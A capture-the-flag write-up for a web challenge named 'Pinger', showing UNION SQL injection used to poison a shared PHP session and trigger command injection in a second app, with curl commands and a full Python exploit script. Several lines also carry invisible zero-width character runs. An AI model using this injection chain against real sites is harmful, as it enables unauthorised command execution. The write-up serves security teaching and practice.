← Back to Writeups
CUSTOMMediumWeb

Pinger

XESXOR9/2/20262 min read
#web#custom#medium#cross_app_session_sharing#os_command_injection_semicolon#union_sqli_session_poisoning

Pinger

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: cross_app_session_sharing, os_command_injection_semicolon, union_sqli_session_poisoning

Summary

Walkthrough of the CUSTOM Web Pinger. Task: Two web apps sharing PHP sessions - Decoder (SQLi) and Pinger (command injection). Solution: Poison session via UNION SQLi to inject malicious uid, then reuse session on Pinger to trigger OS com

Description

Two web applications on the same server: Decoder (web200) with SQL injection in login form, and Pinger (web300) with command injection via $_SESSION['uid'] in shell commands. The hint says "start with Decoder task".

Analysis

Decoder (web200) - SQL Injection

php
$res = mysql_query("SELECT * FROM users WHERE login = '$login' AND password = '$password'");
$_SESSION['uid'] = $row['uid'];  // UID from query stored in session!

Pinger (web300) - Command Injection

php
Command("timeout 6 ping -c 4 -i 1 -W 1 user" . $_SESSION['uid'] . ".hackyou-web300.ctf.su 2>&1");

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key insight: Both apps share the same PHP session storage (same server). If we inject malicious uid via SQLi in web200, we can reuse that session on web300 to trigger command injection.

Critical observation: web300 checks if (!isset($_SESSION['uid'])) - if uid is already set (from web200), it skips the users.db authentication entirely!

Solution

Step 1: SQL Injection to Poison Session

bash
curl -v -c cookies.txt \
  --data-urlencode "login=' UNION SELECT '1;/binary_to_output_web300_flag;#','x','y'-- " \
  -d "password=x" \
  http://hackyou-web200.ctf.su/

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Session now contains: $_SESSION['uid'] = "1;/binary_to_output_web300_flag;#"

Step 2: Reuse Session on web300

bash
SID="<session_id_from_step1>"
curl -s -b "PHPSESSID=$SID" -d "login=x" http://hackyou-web300.ctf.su/
curl -s -b "PHPSESSID=$SID" -d "password=x" http://hackyou-web300.ctf.su/

Step 3: Trigger Command Injection

bash
curl -s -b "PHPSESSID=$SID" -d "ping=1" http://hackyou-web300.ctf.su/

Executed command:

timeout 6 ping -c 4 -i 1 -W 1 user1;/binary_to_output_web300_flag;#.hackyou-web300.ctf.su 2>&1

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
import requests
import re

WEB200 = "http://hackyou-web200.ctf.su/"
WEB300 = "http://hackyou-web300.ctf.su/"

# Step 1: SQLi to inject malicious uid into session
payload = "' UNION SELECT '1;/binary_to_output_web300_flag;#','x','y'-- "
session = requests.Session()
r = session.post(WEB200, data={"login": payload, "password": "x"}, allow_redirects=False)
print(f"[+] Session poisoned: {session.cookies.get('PHPSESSID')}")

# Step 2: Set login and password on web300 (using same session)
session.post(WEB300, data={"login": "x"})
session.post(WEB300, data={"password": "x"})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Trigger command injection
r = session.post(WEB300, data={"ping": "1"})
match = re.search(r'w00p[^<]+', r.text)
if match:
    print(f"[+] Flag: {match.group()}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering cross_app_session_sharing, os_command_injection_semicolon, union_sqli_session_poisoning was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-16 • CUSTOM • Pinger • Difficulty: Medium